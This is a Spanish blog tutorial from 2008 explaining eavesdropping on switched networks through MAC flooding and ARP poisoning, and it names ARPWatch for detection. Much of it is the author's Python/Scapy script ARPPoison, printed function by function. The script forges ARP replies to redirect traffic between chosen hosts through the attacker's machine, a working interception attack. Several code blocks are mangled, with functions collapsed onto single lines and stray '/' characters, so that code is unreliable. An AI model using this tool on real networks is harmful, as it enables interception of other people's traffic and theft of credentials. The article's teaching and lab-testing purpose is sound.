19 diciembre 2008

Escuchas en redes conmutadas


Como los mayores del lugar recordarán, las redes de antaño se basaban en infraestructuras montadas a base de repetidores, también denominados hubs. Estos se comportaban enviando por todos sus puertos los datos que se recibiese por cualquiera de ellos. Los repetidores eran aparatos muy sencillos y carecían de lógica programada alguna. Consistían simplemente en un puenteado físico entre todos los puertos para asegurar que la señal que se recibiese por un puerto se repitiese por el resto. Esta sencillez tenía un precio y era lo reducido del rendimiento de las redes basadas en estos dispositivos ya que se creaba un único dominio de colisión, es decir ningún equipo de la red podía transmitir si lo estaba haciendo otro en ese momento. Además, las escuchas en este tipo de redes eran realmente sencillas ya que era el interfaz de cada equipo el que descartaba el tráfico que no le atañía, por lo que para escuchar toda la información que se cruzase por la red sólo había que poner el interfaz en modo promíscuo.

Con el tiempo, las redes evolucionaron al siguiente nivel y pasaron a utilizar conmutadores (en inglés switches). Estos dispositivos se diferencian de los anteriores en que disponen de lógica interna que les permite sacar los datos sólo por el puerto por el que se conecta su destinatario. Esto tiene una ventaja fundamental y es que mejora el rendimiento de las redes al dividirlas en múltiples dominios de colisión (uno por puerto). Sin embargo, aún hay gente que cree equivocadamente que el uso de conmutadores también evita las escuchas. Nada más lejos de la verdad. Si bien las escuchas no son tan sencillas como pasaba en las redes basadas en repetidores, se pueden seguir efectuando a partir de una serie de técnicas asequibles para cualquiera bien informado. A lo largo de este artículo repasaremos estas técnicas.

Para empezar es necesario que el lector entienda cómo funcionan los conmutadores. Todo dispositivo de red cuenta con una dirección IP que le identifica a lo largo y ancho de Internet y que permite que otros dispositivos se comuniquen con él. Sin embargo, esto permite que el paquete viaje hasta "el último salto" donde lo que se utiliza es el protocolo ARP (Address Resolution Protocol) para llegar al equipo destino.

Imaginemos dos dispositivos (A y B) que se encuentran en la misma red y que tienen direcciones del mismo rango de direccionamiento, ¿cómo se comunicarían entre sí?. Ambos conocen la dirección IP del otro, pero al estar ambos en el mismo rango de direccionamiento ya no hay enrutamiento que valga, por lo que tiene que entrar en juego la capa 2. Es decir, los interfaces de red de ambos dispositivos deben hablar entre sí. Para ello, todos los interfaces de red cuentan con una dirección en principio inalterable y única, que les viene asignada de fábrica y que se denomina MAC. Esto es la teoría, en la práctica el sistema operativo suele dar la opción de "forzar" una dirección MAC a nuestra elección, aunque es realmente raro que se haga uso de esta posibilidad. Los interfaces de red se comunican con otros interfaces de red de su mismo rango utilizando las direcciones MAC. Cuando A se quiere comunicar con B sólo cuenta con la dirección IP de por lo que debe hacer uso de un protocolo llamado ARP, del que se hablará más adelante, para averiguar cual es la dirección MAC de B. Una vez que A tiene la MAC de B manda un paquete de datos cuyo destinatario es precisamente la MAC de B. El conmutador que da servicio a A y a B envía el paquete sólo por el puerto al que se conecta B porque mantiene una tabla interna con las MAC que "cuelgan" de cada puerto. El interfaz de red de B, al recibir un paquete cuyo destinatario es su propia MAC, asume que el paquete le corresponde y lo escala a las capas superiores del equipo.

En principio el esquema parece seguro ya que los paquetes sólo llegan a sus legítimos destinatarios. El problema es que su implementación práctica suele abrir dos vías de ataque.

La primera vía de ataque hace referencia a la mencionada tabla interna que guardan los conmutadores. Los elementos de esta tabla son las MACs alcanzables por cada uno de los puertos. Para poblar esta tabla, el conmutador espera a que le vayan llegando paquetes. Cuando esto ocurre, el conmutador toma nota en su tabla del puerto por el que se ha recibido el paquete y la MAC del remitente del paquete. Una vez hecho esto, el conmutador mira cual es la MAC destinataria del paquete, consulta su tabla a ver si ya tiene registrada la localización de esa MAC y cuando la encuentra manda el paquete por el puerto apropiado. ¿Qué pasa si la MAC destino del paquete no consta en la tabla del conmutador? pues que este pasa a comportarse como un repetidor y reenvía ese paquete concreto por todos sus puertos. En realidad, este comportamiento sólo se da en los primeros minutos de funcionamiento del conmutador ya que si la red es medianamente activa en poco tiempo habrán emitido paquetes todos los elementos de la red (ya sea por inicios de conexión o por respuesta a paquetes) permitiendo que el conmutador los vaya "fichando" en su tabla.

A un atacante, lo que le gustaría es que el conmutador funcionase en modo repetidor cuando quisiera realizar una escucha. Para ello lo que tendrá que hacer es asegurarse de que el conmutador nunca encuentra las MACs de destino en su tabla. Esto nos lleva al primer tipo de ataque: el de inundación de la tabla del conmutador (mac flooding). En este ataque el intruso emitiría masivamente paquetes con MACs de origen ficticias. El destino y la naturaleza de estos paquetes no sería importante, aquí lo importante es que el conmutador fuese llenando su tabla con MACs inexistentes hasta agotar todo la memoria disponible, cuando eso ocurriese comenzaría a funcionar como repetidor al ser incapaz de encontrar las MACs de destino efectivas en su tabla atiborrada de basura. Este ataque era factible con los primeros conmutadores que salieron al mercado, ya que eran dispositivos poco potentes y apenas depurados. Sin embargo, en la actualidad los conmutadores cuentan con potencia suficiente como para evitar que un sólo PC les llene la tabla de MACs. Se trata por tanto de una carrera que el atacante difícilmente puede ganar. Además, este ataque es bastante indiscreto ya que degrada el rendimiento de la red de una manera tan llamativa que antes o después el administrador acabará accediendo al conmutador a ver qué le ocurre, se percatará del estado de la tabla de MACs y se imaginará que se está produciendo un ataque.

La segunda vía de ataque tiene que ver con la manera con la que los dispositivos de red averiguan la MAC del equipo con el que quieren hablar. Si un equipo con dirección IP A quiere hablar con otro de su mismo rango con dirección IP B usará el protocolo ARP para obtener la MAC de B. Básicamente lo que A hará es emitir un "ARP request" en el que preguntará a todos los equipos de su red: ¿cual es la MAC del equipo con dirección IP B?. El equipo B escuchará la pregunta y responderá con un "ARP reply": "yo soy el equipo con dirección IP B y mi MAC es esta". Una vez obtenida la MAC, A ya puede crear los paquetes de datos destinados a B. El equipo A guardará una tabla (la tabla de ARP) con las equivalencias ARP que vaya averiguando para no tener que preguntar por las MACs de las mismas direcciones IP una y otra vez. Hasta ahí todo bien, pero existe un tipo de paquete ARP denominado "update" que sirve para que B pueda tomar la iniciativa de actualizar su entrada en la tabla de ARP de A. ¿Para qué iba B a hacer esto?, ¿no hemos dicho que la MAC no suele cambiar?, es una buena pregunta que no tiene una respuesta fácil. Hay quien argumenta que este mecanismo se hizo para minimizar el impacto que supone para un equipo cambiar de dirección de IP en redes gestionadas por un servidor de DHCP, otros argumentan que no es sino otro de los agujeros de diseño de los protocolos que sustentan Internet, más pensados en la funcionalidad que en la seguridad. Lo cierto es que estas actualizaciones de la tabla de ARP suponen un vector de ataque gravísimo y muy difícil de detectar y da lugar a los llamados ataques de ARP Poisoning o envenenamiento ARP.

La idea del ARP Poisoning es la siguiente, supongamos que A y B están intercambiando paquetes en el transcurso de una conversación. La tabla de ARP de A contendrá el siguiente registro: IPb-MACb. A la inversa, la tabla de ARP de B contendrá el siguiente registro referente a A: IPa-MACa. Si un atacante C quisiera escuchar las comunicaciones entre A y B sólo tendría que enviarle a A el siguiente ARP update: IPb-MACc; y a B: IPa-MACc. De esta manera C engañaría a A haciendole creer que para llegar a B lo que debe hacer es destinar los paquetes... ¡a la MAC de C! (y viceversa para el caso de B). El efecto sería que C recibiría todos los paquetes que intercambiasen A y B, independientemente de que estos se interconecten mediante un conmutador. A partir de ahí, una vez escuchados los paquetes, C sólo tiene que reenviar los paquetes a su legítimos destinatarios para que estos no detecten el engaño. Este ataque funciona y es muy difícil de evitar. Como mucho se pueden forzar determinadas entradas de la tabla de ARP para que no cambien o que si lo hacen alerten al administrador. Es el caso de la aplicación ARPWatch, aplicación que vigila la tabla de ARP y alerta cuando una dirección IP pasa a ser usada por una MAC diferente, cosa que como hemos visto puede ser un síntoma de ARP Poisoning.

Herramientas como Ettercap o Cain&Abel incluyen este tipo de técnicas para realizar escuchas. En uno de mis artículos sobre creación de laboratorios virtuales se desarrolló una maqueta de una red conmutada para hacer pruebas de escuchas con ettercap. Esta maqueta se puede descargar desde aquí.

De todos modos, para los que prefieren el modo de vida samurai y construirse sus propias herramientas, se pueden programar estas técnicas de manera rápida y sencilla con Python y la librería Scapy (ambos elementos recurrentes en mis artículos). En la maqueta mencionada anteriormente (concretamente en la carpeta /root/scripts del PC-Sniffer) hay un script llamado ARPPoison, programado por mi para sistemas Linux, para ensayar la técnica del envenenamiento ARP.

La estructura de ARPPoison es muy sencilla:

## # PROGRAMA ## if (__name__ == "__main__"): parseArguments() checkEnvironment() gatherData() print "Comienza el ataque. Para pararlo pulse Control-C..." try: while (1): doARPPoisonAttack() time.sleep(WAITING_TIME) except KeyboardInterrupt: print "Ataque finalizado, borrando huellas de las caches..." repairARPCaches() print "Caches reparadas." print "Devolviendo a su sistema a la normalidad..." cleanThings() print "Hecho." print "�Que tenga un buen dia!" print "\n"
La función parseArguments se limita a tratar los parámetros introducidos por el usuario (las dos direcciones IP a las que hay que interceptar).

La siguiente función, checkEnvironment, se asegura de que nuestro sistema tiene activado el IP_Forwarding, esencial para devolver los paquetes interceptados a sus legítimos destinatarios después de realizar la escucha.

def checkEnvironment(): global forwarding global redirect input, output, error= os.popen3("sysctl net.ipv4.ip_forward" , 'r') line = output.readline() forwarding = int( line.split("=")[1].strip() ) if not forwarding: print "El sistema no esta configurado para reenviar paquetes." print "Habra que activar momentaneamente el reenvio." os.system("sudo sysctl net.ipv4.ip_forward=1") print "Activado el reenvio de paquetes." else: print "Bien, el reenvio de paquetes ya se encontraba activado."

En cuanto a gatherData, se encarga de averiguar cuales son las MACs de los dos extremos a interceptar. Necesitamos conocerlas para poder restaurar las tablas de ARP a su estado original cuando demos por finalizada la escucha.

#
# Esta funcion recopila los datos necesarios para realizar el envenenamiento ARP.
def gatherData():
    global mac_list_1
    global mac_list_2
    global my_MAC
    global my_IP
    #En general, obtener la direccion IP local no es un procedimiento portable entre
#sistemas operativos. Podriamos parsear la salida del comando ifconfig en linux
#y en windows la del comando ipconfig, pero es mucho mas sencillo aprovecharnos 
    #de que scapy usa la mac y la ip locales al crear un paquete ARP.
    arp_packet = scapy.ARP()
    my_MAC = arp_packet.hwsrc
    my_IP = arp_packet.psrc
    my_address = IPy.IP(my_IP)
    #Ahora recopilamos las MACs de los equipos comprendidos en los segmentos pedidos.
    print "Recopilando MACs involucradas para preparar la vuelta atras..."
    print "Extremo 1..."
    for ip in target_address_1:
        if (ip != my_address):
            mac_list_1[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_1[ip.strNormal()] 
    print "Extremo 2..."
    for ip in target_address_2:
        if (ip != my_address):
            mac_list_2[ip.strNormal()] = scapy.getmacbyip(ip.strNormal())
            print " " + ip.strNormal() + " ----> " + mac_list_2[ip.strNormal()]

Una vez terminadas estas labores preliminares, se puede iniciar el ataque de envenenamiento. En el programa se encarga de ello la función doARPPoisonAttack, la cual se repite sucesivas veces en bucle para evitar que los registros fraudulentos de la tabla de ARP caduquen y se deshaga el desvio.


# # Esta funcion realiza el ataque de envenamiento ARP. def doARPPoisonAttack(): #La idea es mandar ARP-Replies a los host de la lista target_address_1 haciendoles #creer que los equipos de target_address_2 tienen la MAC de nuestro equipo y viceversa. # De esta manera haremos que el trafico entre unos y otros pase por nosotros. #Los codigos de operacion de los paquetes ARP son: #"who-has":1, "is-at":2, "RARP-req":3, "RARP-rep":4, "Dyn-RARP-req":5, "Dyn-RAR-rep":6, # "Dyn-RARP-err":7, "InARP-req":8,"InARP-rep":9 #Se puede encontrar una descripcion muy completa del formato de los paquetes ARP en: #http://www.comptechdoc.org/independent/networking/guide/netarp.html #Y por supuesto en su correspondiente RFC ;-) for ip in target_address_1: for ip2 in target_address_2: #Suplantamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip.strNormal(), / hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) #No es necesario, pero si quisieramos forzar el ethertype es necesario instalar #previamente un fichero /etc/ethertype valido. Hacer lo siguiente valdra: # wget http://pierre.droids-corp.org/scapy/ethertypes -O /etc/ethertypes #Se puede encontrar una lista mucho mas completa en: #http://www.iana.org/assignments/ethernet-numbers #aunque a esta ultima lista habria que darle formato para que la entendiese #scapy. ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            # Hemos usado el sendp para realizar el envio a nivel 2.
scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip.strNormal()) + " en la cache ARP de " + / str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Suplantamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=my_MAC,psrc=ip2.strNormal(), / hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Suplantando a " + str(ip2.strNormal()) + " en la cache ARP de " / + str(ip.strNormal())

En este punto es cuanto el atacante puede lanzar un sniffer en otra ventana (o con la orden screen si estamos en la maqueta de Netkit facilitada) y visualizar todo el tráfico intercambiado entre los extremos interceptados. Cuando de por terminada la sesión de escuchas pulsará Control-C para salir del bucle de envenenamiento y se dará paso a la función repairARPCaches que se encargará de enviar paquetes de ARP Update a los extremos atacados para dejar sus tablas de ARP en un estado correcto. Si no se efectuase esta corrección se produciría un corte de comunicaciones entre los dos extremos que podría alertarles del ataque.



# # Esta funcion revierte los cambios realizados reponiendo las MACs correctas # en las respectivas caches de ARP. def repairARPCaches(): for ip in target_address_1: for ip2 in target_address_2: #Reparamos a ip en cada ip2. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_1[ip.strNormal()], / psrc=ip.strNormal(),hwdst=mac_list_2[ip2.strNormal()],pdst=ip2.strNormal()) ether_packet = scapy.Ether(dst=mac_list_2[ip2.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet
            #Hemos usado sendp para realizar el envio a nivel 2
scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip.strNormal()) + /" en la cache ARP de " + str(ip2.strNormal()) for ip2 in target_address_2: for ip in target_address_1: #Reparamos a ip2 en cada ip. arp_packet = scapy.ARP(op="is-at",hwsrc=mac_list_2[ip2.strNormal()], / psrc=ip2.strNormal(),hwdst=mac_list_1[ip.strNormal()],pdst=ip.strNormal()) ether_packet = scapy.Ether(dst=mac_list_1[ip.strNormal()],src=my_MAC) packet_to_send = ether_packet / arp_packet scapy.sendp(packet_to_send, verbose=0) print "Reponiendo la MAC de " + str(ip2.strNormal()) + /" en la cache ARP de " + str(ip.strNormal())
Por último, está la función cleanThings, que se limita a desactivar el IP_Forwarding de nuestro equipo.
# # Esta funcion es un cajon de sastre para limpiar los cambios que hayamos hecho # en el sistema del usuario. def cleanThings(): print "Devolviendo a la variable de sistema ip_forward a su estado anterior (" / + str(forwarding) + ")..." os.system("sudo sysctl net.ipv4.ip_forward=" + str(forwarding))
Como se puede apreciar, realizar escuchas en un entorno conmutado no resulta nada complicado, existen herramientas para ello e incluso programar una no es nada difícil. Existen algunas maneras de detectar este tipo de ataques. En alguno de mis próximos artículos analizaré algunas de las trazas que pueden dejar este tipo de programas y cómo detectarlos.

Queda con ello demostrado que los conmutadores no aseguran la privacidad de nuestro tráfico, tal y como muchos creen erróneamente. La única manera de garantizar la privacidad de nuestros datos cuando estos viajen por la red es cifrarlos correctamente.